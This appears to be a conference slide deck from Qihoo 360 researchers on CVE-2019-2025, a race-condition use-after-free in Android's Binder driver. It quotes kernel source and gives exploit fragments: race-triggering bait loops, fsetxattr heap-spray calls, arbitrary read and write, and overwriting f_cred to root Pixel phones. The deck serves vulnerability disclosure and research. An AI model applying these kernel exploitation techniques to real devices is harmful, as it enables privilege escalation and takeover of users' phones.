Android Binder: The Bridge To Root

Hongli Han(@hexb1n), Mingjian Zhou(@Mingjian_Zhou)
CORE Team, Qihoo 360
Hongli Han(@hexb1n)
- Security researcher at CORE Team of Qihoo 360 Inc
- Focus on AOSP&KERNEL bug hunting and exploitation

Mingjian Zhou(@Mingjian_Zhou)
- Security researcher focusing on mobile security at CORE Team of Qihoo 360 Inc
- Lead member of CORE Team
About CORE Team

• A security-focused group started in mid-2015

• Focus on the Android/Linux platform security research, aim to discover zero-day vulnerabilities, develop proof-of-concept and exploit

• 200+ public CVEs for AOSP and Linux Kernel currently

• “Android top research team 2017” for submitting high quality reports to Android VRP
Binder is an Android-specific interprocess communication mechanism, and remote method invocation system.

- Implemented as a driver in the kernel "/dev/binder"
- Used for nearly everything that happens across processes in the core platform
- Also, accepted in the main Linux kernel 3.19 in Feb 2015

- One of the most attractive attack surface on Android
Our work around Binder Driver

- Research on the Binder Driver
  - Analyze the possible attack surface
  - Code audit and smart fuzz

- Find multiple bugs and exploit them to gain SYSTEM & ROOT privilege
  - CVE-2019-2025
  - Android ID 112767437
  - ...
Our work around Binder Driver

Android Security Acknowledgements

The Android Security Team would like to thank the following people and parties for helping to improve Android security. They have done this either by finding and responsibly reporting security vulnerabilities through the AOSP bug tracker Security bug report template or by committing code that has a positive impact on Android security, including code that qualifies for the Patch Rewards program.

2019

Starting in 2018 and continuing in 2019, the security acknowledgements are listed by month. In prior years, acknowledgements were listed together.

March

<table>
<thead>
<tr>
<th>Researchers</th>
<th>CVEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Adrian Tang of Columbia University (CLKSCREW paper)</td>
<td>CVE-2017-8252</td>
</tr>
<tr>
<td>Chong Wang (weibo.com/csdj) of Chengdu Security Response Center, Qihoo 360 Technology Co. Ltd.</td>
<td>CVE-2019-2021</td>
</tr>
<tr>
<td><strong>Hongli Han (@hexb1n) and Mingjian Zhou (周明健) (@Mingjian_Zhou) of CORE Team</strong></td>
<td><strong>CVE-2019-2025</strong></td>
</tr>
</tbody>
</table>

Detail how we ROOT the latest Pixel 3xl, Pixel 2xl and Pixel with this single vulnerability.
• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically
• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • Info leaks
  • Heap spraying skills
  • How to arbitrary write with arbitrary data
  • How to arbitrary read
• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack
• Conclusion
Agenda

• The CVE-2019-2025
  • **IPC through Binder driver**
    • The imperfect protection of the “binder_buffer” object
    • The “all-round vulnerability” in theoretically
  • Theory to Practice
    • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
    • The Baits: how to trigger this vulnerability stably
    • Info leaks
    • Heap spray skills
    • How to arbitrary write with arbitrary data
    • How to arbitrary read
  • **Weaponized—How to ROOT the Pixel serials**
    • Attack the “f_cred” to ROOT directly
    • KSMA Attack
  • Conclusion
IPC through Binder driver

1. Client initiates a transaction (BC_TRANSACTION).
2. Server responds to the transaction (BR_TRANSACTION).
3. Server sends a reply (BC_REPLY) with reply data.
4. Client receives the reply (BR_REPLY).
 IPC through Binder driver

```
/**
 * binder_alloc_get_user_buffer_offset() - get offset between kernel/user addrs
 * @alloc: binder_alloc for this proc
 * Return: the offset between kernel and user-space addresses to use for virtual address conversion
 */
static inline ptrdiff_t
binder_alloc_get_user_buffer_offset(struct binder_alloc *alloc)
{
    return alloc->user_buffer_offset;
}
```
1. apply a “binder_buffer buffer”
   object
2. copy the reply data to “buffer->data”

```c
struct binder_buffer {
    ...
    void* data;
};
```
IPC through Binder driver

1. user_ptr → kern_ptr
2. kern_ptr (buffer->data) → binder_buffer object

Free buffer and related binder_buffer object:

```c
struct binder_buffer {
    ...
    void* data;
};
```
Agenda

• The CVE-2019-2025
  • IPC through Binder driver
  • **The imperfect protection of the “binder_buffer” object**
  • The “all-round vulnerability” in theoretically

• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • Info leaks
  • Heap spraying skills
  • How to arbitrary write with arbitrary data
  • How to arbitrary read

• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack

• Conclusion
What happened, if client tries to free the reply buffer while server is doing BC_REPLY?
Is there an effective protection?
The imperfect protection of the "binder_buffer" object

Unfortunately, NO!

Free the binder_buffer object "t->buffer"

The Race Window!
Agenda

- The CVE-2019-2025
  - IPC through Binder driver
  - The imperfect protection of the “binder_buffer” object
  - The “all-round vulnerability” in theoretically
- Theory to Practice
  - Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  - The Baits: how to trigger this vulnerability stably
  - Info leaks
  - Heap spray skills
  - How to arbitrary write with arbitrary data
  - How to arbitrary read
- Weaponized—How to ROOT the Pixel serials
  - Attack the “f_cred” to ROOT directly
  - KSMA Attack
- Conclusion
The “all-round” vulnerability

- Arbitrary write when server calling copy_from_user()!
- t->buffer is controlled

```
static void binder_transaction(struct binder_proc *proc,
    struct binder_thread *thread,
    struct binder_transaction_data *tr, int reply,
    binder_size_t extra_buffers_size)
{
    int ret;
    struct binder_transaction *t;
    ...
    t->buffer = binder_alloc_new_buf(&target_proc->alloc, tr->data_size,
        tr->offsets_size, extra_buffers_size,
        !reply && (t->flags & TF_ONE_WAY));
    ...
    if (copy_from_user(t->buffer->data, (const void __user *) (uintptr_t)
        tr->data.ptr.buffer, tr->data_size)) {
        binder_user_error("%d:%d got transaction with invalid data ptr\n",
            proc->pid, thread->pid);
    }
```
The “all-round” vulnerability

- Arbitrary read when client calling copy_to_user()!
  - t->buffer is controlled
  - t->buffer->target_node is controlled

```c
4035 static int binder_thread_read(struct binder_proc *proc,
4036     struct binder_thread *thread,
4037     binder_uintptr_t binder_buffer, size_t size,
4038     binder_size_t *consumed, int non_block)
4039 {

...

4283     if (t->buffer->target_node) {
4284         struct binder_node *target_node = t->buffer->target_node;
4285         struct binder_priority node_prio;
4286         tr.target.ptr = target_node->ptr;
4287         tr.cookie = target_node->cookie;

...

4294 } else {

...

4331     ptr += sizeof(uint32_t);
4332     if (copy_to_user(ptr, &tr, sizeof(tr))) {

...

4339         return -EFAULT;
4340     }

```
The “all-round” vulnerability

- Leak kernel symbols when client calling copy_to_user!
- t->buffer is controlled
- t->buffer->data_size/offset_size/data are leaked

```c
4035 static int binder_thread_read(struct binder_proc *proc,
4036          struct binder_thread *thread,
4037          binder_uintptr_t binder_buffer, size_t size,
4038          binder_size_t *consumed, int non_block)
4039 {
    ...}
4313     tr.data_size = t->buffer->data_size;
4314     tr.offsets_size = t->buffer->offsets_size
4315     tr.data.ptr.buffer = (binder_uintptr_t)
4316     ((uintptr_t)t->buffer->data +
4317     binder_alloc_get_user_buffer_offset(&proc->alloc));
    ...
4331     ptr += sizeof(uint32_t);
4332     if (copy_to_user(ptr, &tr, sizeof(tr)) { 
4339     return -EFAULT;
4340 }
```
Impact: The “Waterdrop”

- Binder is so powerful and so is the vulnerability of it!
  - Arbitrary read/write
  - Universal ROOT
  - Sandbox escape
  - Affect Android devices in recent two years, and devices using Binder.
    - Commit `a0f22d6` (2016/11/14) and later

- We named the vulnerability “Waterdrop”:
  - Coming from fiction - The Three Body Problem
  - Destroying nearly all of the Earth starships
Agenda

• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically
• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • Info leaks
  • Heap spraying skills
  • How to arbitrary write with arbitrary data
  • How to arbitrary read
• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack
• Conclusion
Stable DoS to Memory corruption

```c
2921 static void binder_transaction(struct binder_proc *proc,
2922 struct binder_thread *thread,
2923 struct binder_transaction_data *tr, int reply,
2924 binder_size_t extra_buffers_size)
2925 {
2926     int ret;
2927     struct binder_transaction *t;
2928     struct binder_work *tcomplete;

2930     t->buffer = binder_alloc_new_buf(&target_proc->alloc, tr->data_size,
2931         tr->offsets_size, extra_buffers_size,
2932         !reply && (t->flags & TF_ONE_WAY));
2933     if (IS_ERR(t->buffer)) {
2934         /*
2935             -ESRCH indicates VMA cleared. The target is dying.
2936             *
2937             return_error_param = PTR_ERR(t->buffer);
2938             return_error = return_error_param == -ESRCH ?
2939                          BR_DEAD_REPLY : BR_FAILED_REPLY;
2940             return_error_line = __LINE__;
2941             t->buffer = NULL;
2942             goto err_binder_alloc_buf_failed;
2943         }
2944         t->buffer->allow_user_free = 0;
2945         t->buffer->debug_id = t->debug_id;
2946         t->buffer->transaction = t;
2947         t->buffer->target_node = target_node;
```
Stable DoS to Memory corruption

- Why a narrow window?
- Check the “buffer->allow_user_free”

```c
3500 static int binder_thread_write(struct binder_proc *proc,
3501    struct binder_thread *thread,
3502    binder_uintptr_t binder_buffer, size_t size,
3503    binder_size_t *consumed)
3504 {
    ...
3523    switch (cmd) {
    ...
3661    case BC_FREE_BUFFER: {
3662        binder_uintptr_t data_ptr;
3669        buffer = binder_alloc_prepare_to_free(&proc->alloc,
3670            data_ptr);
3663    }
3676    if (!buffer->allow_user_free) {
3677        binder_user_error("%d:%d BC_FREE_BUFFER u%016llx matched unreturned buffer\n",,
3678            proc->pid, thread->pid, (u64)data_ptr);
3679        break;
3680        }
    ...
3712    binder_alloc_free_buf(&proc->alloc, buffer);
3713    break;
3714    }
```
Stable DoS to Memory corruption

- Why a narrow window?
- "BUG_ON()" checks

```c
static void binder_free_buf_locked(struct binder_alloc *alloc, struct binder_buffer *buffer)
{
    size_t size, buffer_size;
    ...
    binder_alloc_debug(BINDER_DEBUG_BUFFER_ALLOC,
        "%d: binder_free_buf %pK size %zd buffer_size %zd\n",
        alloc->pid, buffer, size, buffer_size);

    BUG_ON(buffer->free);
    BUG_ON(size > buffer_size);
    BUG_ON(buffer->transaction != NULL);
    BUG_ON(buffer->data < alloc->buffer);
    BUG_ON(buffer->data > alloc->buffer + alloc->buffer_size);
    BUG_ON(buffer->async_transaction);
    ...
}
```
Stable Dos to Memory corruption

- How to extend the time window?

Allocate in low frequency CPU while freeing in high one.

It seems that it goes further, but not enough...
Stable DoS to Memory corruption

Study on the scheduler...

Then we notice the mutex lock

`binder_alloc_new_buf() -> binder_alloc_new_buf_locked() -> mutex_unlock()

```c
503 struct binder_buffer *binder_alloc_new_buf(struct binder_alloc *alloc, 
504 size_t data_size, 
505 size_t offsets_size, 
506 size_t extra_buffers_size, 
507 int is_async)
508 {
509    struct binder_buffer *buffer;
510
511    mutex_lock(&alloc->mutex);
512    buffer = binder_alloc_new_buf_locked(alloc, data_size, offsets_size, 
513        extra_buffers_size, is_async);
514    mutex_unlock(&alloc->mutex);
515    return buffer;
516 }
```

`binder_alloc_new_buf() -> mutex_unlock() -> __mutex_fastpath_unlock() -> 
    __mutex_unlock_slowpath() -> __mutex_unlock_common_slowpath() -> wake_up_q()`
Stable DoS to Memory corruption

- How to extend the time window?
- Let freeing process waiting to be awakened

```c
static int binder_thread_write(struct binder_proc *proc,
    struct binder_thread *thread,
    binder_uintptr_t binder_buffer, size_t size,
    binder_size_t *consumed)
{
    uint32_t cmd;
    struct binder_context *context = proc->context;
    ...
    switch (cmd) {
        case BC_INCREFS:
            ...
        case BC_FREE_BUFFER: {
            binder_uintptr_t data_ptr;
            struct binder_buffer *buffer;
            ...
            buffer = binder_alloc_prepare_to_free_locked(proc->alloc,
                data_ptr);
            ...
            binder_alloc_free_buf(proc->alloc, buffer);
            break;
    }
    ...
}
```
Stable DoS to Memory corruption

- How to extend the time window?
- Let freeing process waiting to be awakened

So we can:
- bind the server process thread and the client process thread into the same CPU by keeping all the other CPUs busy enough.
- Also call sched_setaffinity()
• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically
• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
    • Info leaks
    • Heap spraying skills
    • How to arbitrary write with arbitrary data
    • How to arbitrary read
• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack
• Conclusion
The Baits

How does the allocating job work?
- Traverse the “free_buffers” red-black tree to find the “best_fit”
struct binder_buffer *binder_alloc_new_buf_locked(struct binder_alloc *alloc,
    size_t data_size,
    size_t offsets_size,
    size_t extra_buffers_size,
    int is_async)
{
    struct rb_node *n = alloc->free_buffers.rb_node;
    struct binder_buffer *buffer;
    ...
    while (n) {
        buffer = rb_entry(n, struct binder_buffer, rb_node);
        ...
    }
    if (n == NULL) {
        buffer = rb_entry(best_fit, struct binder_buffer, rb_node);
        buffer_size = binder_alloc_buffer_size(alloc, buffer);
    }
    if (buffer_size != size) {
        struct binder_buffer *new_buffer;
        new_buffer = kzalloc(sizeof(*buffer), GFP_KERNEL);
        if (!new_buffer) {
            pr_err("%s: %d failed to alloc new buffer struct\n",
                __func__, alloc->pid);
            goto err_alloc_buf_struct_failed;
        }
        new_buffer->data = (u8 *)buffer->data + size;
        list_add(&new_buffer->entry, &buffer->entry);
        new_buffer->free = 1;
        binder_insert_free_buffer(alloc, new_buffer);
    }
}

The Baits

- How does the allocating job work?
  - Traverse the “free_buffers” red-black tree to find the “best_fit”
  - Allocate one if “buffer_size != size”
static void binder_free_buf_locked(struct binder_alloc *alloc, struct binder_buffer *buffer)
{
    size_t size, buffer_size;
    buffer_size = binder_alloc_buffer_size(alloc, buffer);

    rb_erase(&buffer->rb_node, &alloc->allocated_buffers);
    buffer->free = 1;

    if (!list_is_last(&buffer->entry, &alloc->buffers)) {
        struct binder_buffer *next = binder_buffer_next(buffer);
        if (next->free) {
            rb_erase(&next->rb_node, &alloc->free_buffers);
            binder_delete_free_buffer(alloc, next);
        }
    }

    if (alloc->buffers.next != &buffer->entry) {
        struct binder_buffer *prev = binder_buffer_prev(buffer);
        if (prev->free) {
            binder_delete_free_buffer(alloc, buffer);
            rb_erase(&prev->rb_node, &alloc->free_buffers);
            buffer = prev;
        }
    }
    binder_insert_free_buffer(alloc, buffer);
}

static void binder_delete_free_buffer(struct binder_alloc *alloc, struct binder_buffer *buffer)
{
    struct binder_buffer *prev, *next = NULL;

    ...

    kfree(buffer);
}

• How does freeing job work?
• Keep the prev one, actually call kfree() in binder_delete_free_buffer()
• How to trigger this vulnerability stably?
• step 1: continuously request server process

```
#define BAIT XXX
const uint8_t *gDataArray[BAIT];
Parcel dataArray[BAIT], replyArray[BAIT];
//Avoid the reply data to be released by "~Parcel()"
for (int i = 0; i < BAIT; i++)
{
    dataArray[i].writeInterfaceToken(String16("android.media.IMediaPlayer"));
    IInterface::asBinder(player)->transact(GET_PLAYBACK_SETTINGS,
        dataArray[i], &replyArray[i], 0);
    gDataArray[i] = replyArray[i].data();
}
```

Note: size, also the reply data size
How to trigger this vulnerability stably?
• step 2: free in the reverse order

Thread 1

Start

BC_FREE_BUFFER
user_ptr+n*size

Wake Thread 2

BC_FREE_BUFFER
user_ptr+(n-1)*size

n=n-1

Time for heap Spraying 😊

Thread 2

Put bait

BC_TRANSACTION

Put bait & trigger race

Kernel

Move the corresponding “struct binder_buffer” object to “alloc->free_buffers.rb_node”

Race condition here:
Server process try to apply for the bait “struct binder_buffer” object in kernel, and client process try to free it immediately after allocated

Server

BR_TRANSACTION
received

BC_REPLY
request “struct binder_buffer” object

Vulnerability triggered on success!
• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically
• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • **Info leaks**
    • Heap spraying skills
    • How to arbitrary write with arbitrary data
    • How to arbitrary read
• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack
• Conclusion
Info leaks

- `target_node` will be set to null pointer
- `data_size`/`offsets_size` are available

What about the “data”?
Info leaks

2921 static void binder_transaction(struct binder_proc *proc,
2922 struct binder_thread *thread,
2923 struct binder_transaction_data *tr, int reply,
2924 binder_size_t extra_buffers_size)
2925 {
2926     int ret;
2927     struct binder_transaction *t;
2928     ...
2931     t->buffer = binder_alloc_new_buf(&target_proc->alloc, tr->data_size,
2932                                         tr->offsets_size, extra_buffers_size,
2933                                         !reply && (t->flags & TF_ONE_WAY));
2934     ...
2938     if (copy_from_user(t->buffer->data, (const void __user *)uintptr_t)
2939          tr->data.ptr.buffer, tr->data_size)) {
2940         binder_user_error("%d:%d got transaction with invalid data ptr\n",
2941                            proc->pid, thread->pid);
2942     }

2949     t->buffer->data should be a writable address!
1. One of them could leak key kernel info

AND

2. Writable address, and no crash after being written

This makes it more difficult!
• Bypass the check of “t->buffer->data” in copy_from_user()

```c
443 static inline unsigned long __must_check copy_from_user(void *to, const void __user *from, unsigned long n)
```

```c
444 {
445   unsigned long res = n;
446   kasan_check_write(to, n);
447   check_object_size(to, n, false);
448 
449   if (access_ok(VERIFY_READ, from, n)) {
450     res = __arch_copy_from_user(to, from, n);
451   }
452   if (unlikely(res))
453     memset(to + (n - res), 0, res);
454   return res;
455 }
```
• Bypass the check of “t->buffer->data” in copy_from_user()

check_object_size() → __check_object_size()

mm/usercopy.c

265 void __check_object_size(const void *ptr, unsigned long n, bool to_user)
266 {
267    const char *err;
268
269    /* Skip all tests if size is zero. */
270    if (!n)
271        return;
272
273    /* Check for invalid addresses. */
274    err = check_bogus_address(ptr, n);
275    if (err)
276        goto report;
277
278    ... goto report;
317 report:
318    report_usercopy(ptr, n, to_user, err);
319 }
static inline unsigned long __must_check copy_from_user(void *to, const void __user *from, unsigned long n) {
    if (access_ok VERIFY_READ from n) {
        res = __arch_copy_from_user(to, from, n);
    } else {
        memset(to + (n - res), 0, res);
        return res;
    }
}

static void binder_transaction(struct binder_proc *proc, struct binder_thread *thread, struct binder_transaction_data *tr, int reply, binder_size_t extra_buffers_size) {
    int ret;
    struct binder_transaction *t;

    if (copy_from_user (t->buffer->data, (const void __user *)(uintptr_t)tr->data.ptr.buffer, tr->data_size)) {
        binder_user_error("%d:%d got transaction with invalid data ptr\n", proc->pid, thread->pid);
        return_error = BR_FAILED_REPLY;
        return_error_param = -EFAULT;
        return_error_line = __LINE__;
        goto err_copy_data_failed;
    }
}

Will not go to error branch!
static void binder_transaction(struct binder_proc *proc,
struct binder_thread *thread,
struct binder_transaction_data *tr, int reply,
binder_size_t extra_buffers_size)
{
    int ret;
    struct binder_transaction *t;

    t->buffer = binder_alloc_new_buf(&target_proc->alloc,
    tr->offsets_size, extra_buffers_size,
    !reply && (t->flags & TF_ONE_WAY));

    if (copy_from_user(t->buffer->data, (const void __user *)uintptr_t)
    tr->data.ptr.buffer, tr->data_size)) {
        binder_user_error("%d:%d got transaction with invalid data
ptr\n", 
        proc->pid, thread->pid);

        struct binder_buffer *binder_alloc_new_buf_locked(struct binder_alloc *alloc,
        size_t data_size,
        size_t offsets_size,
        size_t extra_buffers_size,
        int is_async)
        {
            struct rb_node *n = alloc->free_buffers.rb_node;

            data_offsets_size = ALIGN(data_size, sizeof(void *)) +
            ALIGN(offsets_size, sizeof(void *));

            size = data_offsets_size + ALIGN(extra_buffers_size, sizeof(void *));

            /* Pad 0-size buffers so they get assigned unique addresses */
            size = max(size, sizeof(void *));

            Could still return a valid "struct binder_buffer" object
when "tr->data_size" is zero
Info leaks

- Bypass the check of “t->buffer->data” in copy_from_user()

frameworks/av/media/libmedia/IMediaPlayer.cpp

621 IMPLEMENT_META_INTERFACE(MediaPlayer, "android.media.IMediaPlayer");
622
623 // ----------------------------------------------------------------------
624
625 status_t BnMediaPlayer::onTransact(
626     uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags)
627 {
628     switch (code) {
629         case DISCONNECT: {
630             CHECK_INTERFACE(IMediaPlayer, data, reply);
631             disconnect();
632             return NO_ERROR;
633         } break;
634         ...
635         default: {
636             return BBinder::onTransact(code, data, reply, flags);
637         } }
638 }

Return directly, nothing written to “reply”
Info leaks

• How to find a suitable heap spraying structure in the vast amount of codes

1. One of them could leak key kernel info

2. Writable address, and no crash after being written

It’s much easier now, could be more?
• How to find a suitable heap spraying structure in the vast amount of codes
  Processing Computer Problems in the Computer Way

Write filters in kmalloc() & kfree() → Using fuzzer tools to find the available heap spraying structures. syzkaller/monkey... → Analyze logs & select one
• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically
• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • Info leaks
  • **Heap spraying skills**
  • How to arbitrary write with arbitrary data
  • How to arbitrary read
• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack
• Conclusion
It’s very time-consuming to find an available heap spraying structure:

1. Require no permissions
2. bypass checks
3. most of all, it can leak what we want

But, sadly if we can not control its life-cycle, it may cause many problems!
So is there an effective method to turn the life-cycle from uncontrollable into controllable?

Let's start from the "kzalloc()" and "kmalloc()"

Object A  Data of object A

Released

kmalloc()

Object B  Previous data of object A

Object B may need less than given. That’s will be even better if the life-cycle of Object B can be controlled by us!
Heap spraying skills: guard heap spray

- Unexpected released object
- Modify/protect the previous data

Life-cycle uncontrollable

Used (free list)

Life-cycle controllable

Needed size

Actual size

May be modified

Safe area
Heap spraying skills: guard heap spray

- Guard heap spray example
  - Write wanted data by fsetxattr()
  - Using “struct inotify_event_info” to guard the data of the unexpected released buffer

(1) Call fsetxattr() to write wanted data to unexpected released “struct binder_buffer” object

(2) Do guard heap spray by using structures whose life-cycle are controllable
Heap spraying skills: guard heap spray

- Guard heap spray example
  - Write wanted data by calling fsetxattr()

Using sys_fsetxattr() instead of sys_setxattr()

```c
#include <linux/syscalls.h>

asmlinkage long sys_setxattr(const char __user *path, const char __user *name, const void __user *value, size_t size, int flags);

asmlinkage long sys_lsetxattr(const char __user *path, const char __user *name, const void __user *value, size_t size, int flags);

asmlinkage long sys_fsetxattr(int fd, const char __user *name, const void __user *value, size_t size, int flags);
```

**sys_setxattr()**:
```
path_setxattr() -> user_path_at() -> user_path_at_empty() -> filename_lookup() -> path_init()...
```

long journey... and also allocate another size 128 slub object when creating node for the “path”

**sys_fsetxattr()**:
```
fdget() -> __fdget() -> __fget_light()
```
• Guard heap spray example
  • Write wanted data by calling fsetxattr()

```c
msm/fs/xattr.c
414 static long
415 setxattr(struct dentry *d, const char __user *name, const void __user *value,
416   size_t size, int flags)
417 {
418   int error;
419   void *kvalue = NULL;
   ...  
431   if (size) {
432     if (size > XATTR_SIZE_MAX)
433       return -E2BIG;
434     kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
   ...  
440     if (copy_from_user(kvalue, value, size)) {
441       error = -EFAULT;
442       goto out;
443     }
444   }
   ...  
454 }
```
Heap spraying skills: guard heap spray

- Guard heap spray example
  - Write wanted data by fsetxattr()
  - Using “struct inotify_event_info” to guard the unexpected buffer

```c
int inotify_handle_event(struct fsnotify_group *group,
                         u32 mask, void *data, int data_type,
                         const unsigned char *file_name, u32 cookie)
{
    int len = 0;
    int alloc_len = sizeof(struct inotify_event_info);
    ...  
    event = kmalloc(alloc_len, GFP_KERNEL);
}
```

The life-cycle of the “event” is controllable.
Heap spraying skills

msm/fs/xattr.c

414 static long
415 setxattr(struct dentry *d, const char __user *name, const void __user *value,
416        size_t size, int flags)
417 {
418   int error;
419   void *kvalue = NULL;
420   ...
421   if (size) {
422     kvalue = kmalloc(size, GFP_KERNEL | GFP_NOWARN);
423     ...
424     if (copy_from_user(kvalue, value, size)) {
425       error = -EFAULT;
426       goto out;
427     }
428   }
429   ...
430 out:
431   kvfree(kvalue);
432   return error;
433 }

fsetxattr(fd, "user.x", buffer, size, /*flags*/0);

Adjust these two parameters according to different purposes

Eg:

fsetxattr(fd, "user.x", NULL, 4, /*flags*/0);
fsetxattr(fd, "user.x", buffer, size, /*flags*/0);
Heap spraying structure around the Binder driver context

Has the same offset with the "data" in "struct binder_buffer", so write BC_TRANSACTION after BC_FREE_BUFFER in "mOut".
As mentioned, size 128 slub objects are frequently used. For example: when calling the spray functions, it will allocate another two size 128 slub objects before the target slub object is allocated. So how to deal with this situation?

Free another two symmetrically

Spray

Unexpected free buffer

Target

This works well if they are previously allocated from the same page.
Agenda

• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically

• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • Info leaks
  • Heap spraying skills
  • **How to arbitrary write with arbitrary data**
  • How to arbitrary read

• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack

• Conclusion
How to arbitrary write with arbitrary data

The reply data is obtained from server process, but sadly we cannot create a server on Android.

Set value -> Get it back?
How to arbitrary write with arbitrary data

status_t BnDataSource::onTransact(
    uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags) {
switch (code) {
    case GET_IMEMORY: {
        CHECK_INTERFACE(IDataSource, data, reply);
        reply->writeStrongBinder(IInterface::asBinder(getIMemory()));
        return NO_ERROR;
    } break;
    case READ_AT: {
        CHECK_INTERFACE(IDataSource, data, reply);
        off64_t offset = (off64_t) data.readInt64();
        size_t size = (size_t) data.readInt64();
        reply->writeInt64(readAt(offset, size));
        return NO_ERROR;
    } break;
}

It returns 0x10000 at most, and we can control 2 bytes each time
How to arbitrary write (cont)

```c
frameworks/av/include/media/AudioResamplerPublic.h
89 struct AudioPlaybackRate {
 90 float mSpeed;
 91 float mPitch;
 92 enum AudioTimestretchStretchMode mStretchMode;
 93 enum AudioTimestretchFallbackMode mFallbackMode;
};
```

We are able to control 16 bytes each time by this one!
How to arbitrary write with arbitrary data

How do we know if we have written success?

Put a flag here when spraying, and check the value each time when receiving the reply.
• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically
• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • Info leaks
  • Heap spraying skills
  • How to arbitrary write with arbitrary data
  • How to arbitrary read
• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack
• Conclusion
How to arbitrary read

- Do not touch the “data” to avoid crashes!
- Loop spray
- CPU & spray time

```c
struct binder_buffer {
    struct list_head entry; /* 0 16 */
    struct rb_node rb_node; /* 16 24 */
    unsigned int free:1; /* 40:31 4 */
    unsigned int allow_user_free:1; /* 40:30 4 */
    unsigned int async_transaction:1; /* 40:29 4 */
    unsigned int free_in_progress:1; /* 40:28 4 */
    unsigned int debug_id:28; /* 40:0 4 */
} /* XXX 4 bytes hole, try to pack */

struct binder_transaction * transaction; /* 48 8 */
struct binder_node * target_node; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
size_t data_size; /* 64 8 */
size_t offsets_size; /* 72 8 */
size_t extra_buffers_size; /* 80 8 */
void * data; /* 88 8 */

/* size: 96, cachelines: 2, members: 13 */
/* sum members: 92, holes: 1, sum holes: 4 */
/* last cacheline: 32 bytes */
};

fsetxattr(fd, "user.x", malbuffer, 88, /*flags*/ /0);
```
 Agenda

• The CVE-2019-2025
  • IPC through Binder driver
  • The imperfect protection of the “binder_buffer” object
  • The “all-round vulnerability” in theoretically

• Theory to Practice
  • Stable DoS to Memory corruption: Bypass “BUG_ON()” checks
  • The Baits: how to trigger this vulnerability stably
  • Info leaks
  • Heap spraying skills
  • How to arbitrary write with arbitrary data
  • How to arbitrary read

• Weaponized—How to ROOT the Pixel serials
  • Attack the “f_cred” to ROOT directly
  • KSMA Attack

• Conclusion
Attack the “f_cred” to ROOT directly

• How to leak the “cred” address with this vulnerability?

The problems:
• It’s very difficult to leak the ”cred” address directly by spraying with such a not-easy to be satisfied info leak vulnerability
• Even it’s able to arbitrary read, but not sure where to read...
Attack the “f_cred” to ROOT directly

- How to leak the “cred” address with this vulnerability?
  - Step 1: try to leak the base address of an object that life-cycle is controllable

- Trigger the vuln
- Unexpected released object
- Occupy
- Pointer
- Info leaks area
- Base address leaked object
Attack the “f_cred” to ROOT directly

- How to leak the “cred” address with this vulnerability?
  - Step 2: release the “board” object and occupy it with target buffer

- How to leak the “cred” address with this vulnerability?
  - Step 3: trigger the vulnerability to arbitrary read and obtain the target value
Attack the “f_cred” to ROOT directly

An easy-to-use heap spraying structure containing the “cred”

```c
struct file {
    union {
        struct llist_node fu_llist; /* 8 */
        struct callback_head fu_rcuhead; /* 16 */
    } f_u;
    struct path f_path; /* 0 */
    struct inode * f_inode; /* 32 */
    const struct file_operations * f_op; /* 40 */
    spinlock_t f_lock; /* 48 */
    ...
    loff_t f_pos; /* 112 */
    struct fown_struct f_owner; /* 120 */
    /* --- cacheline 2 boundary (128 bytes) was 24 bytes ago --- */
    const struct cred * f_cred; /* 152 */
    struct file_ra_state f_ra; /* 160 */
    /* --- cacheline 3 boundary (192 bytes) --- */
    u64 f_version; /* 192 */
    ...
    /* size: 256, cachelines: 4, members: 19 */
    /* sum members: 252, holes: 1, sum holes: 4 */
};
```

```c
const struct cred *cred = current_cred();
static long old_max;
struct file *f;
int error;
...
```

```c
f = kmem_cache_zalloc(filp_cachep, GFP_KERNEL);
if (unlikely(!f))
    return ERR_PTR(-ENOMEM);
```
